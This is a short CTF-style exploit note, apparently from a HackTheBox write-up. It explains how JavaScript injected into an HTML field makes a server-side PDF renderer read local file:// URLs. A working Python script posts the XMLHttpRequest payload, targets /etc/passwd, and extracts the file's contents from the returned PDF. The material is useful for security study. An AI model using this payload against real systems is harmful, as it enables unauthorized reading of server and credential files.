HTML-to-PDF local file read

Server-side HTML-to-PDF local file read

An application-controlled HTML field reaches a server-side PDF renderer that executes JavaScript. The renderer, rather than the browser sending the original request, executes an XMLHttpRequest for a local file:// URL. The script writes the returned bytes into the rendered document, and the application returns those contents inside the generated PDF.

The chain requires JavaScript execution inside the renderer, support for the file: URL scheme, and operating-system read permission for the selected file. The renderer process performs the file read, so its filesystem and process identity determine what is reachable.

from pathlib import Path
from pypdf import PdfReader

def export_file(s, file_to_read):
    payload = f'<script>var xhr = new XMLHttpRequest();xhr.onload=function(){{document.write(this.responseText)}};xhr.open("GET","file://{file_to_read}");xhr.send();</script>'
    data = {
        "<CONTENT_FIELD>": payload
    }
    r = s.post(url=f"{URL}/<PDF_EXPORT_ENDPOINT>", data=data, verify=False, timeout=20, proxies=PROXIES)
    pdf_path = Path("output.pdf")
    pdf_path.write_bytes(r.content)
    return pdf_path

def read_pdf(pdf_path):
    reader = PdfReader(pdf_path)
    output = ""
    for page in reader.pages:
        output += page.extract_text() + "\n"
    return output

pdf_path = export_file(s, "/etc/passwd")
output = read_pdf(pdf_path)
print(output)

_{Find by: html to pdf, pdf renderer, server-side javascript, local file read, file protocol, file uri, XMLHttpRequest, document.write, generated pdf, arbitrary file read, chain · Source: HTB/DarkRunes}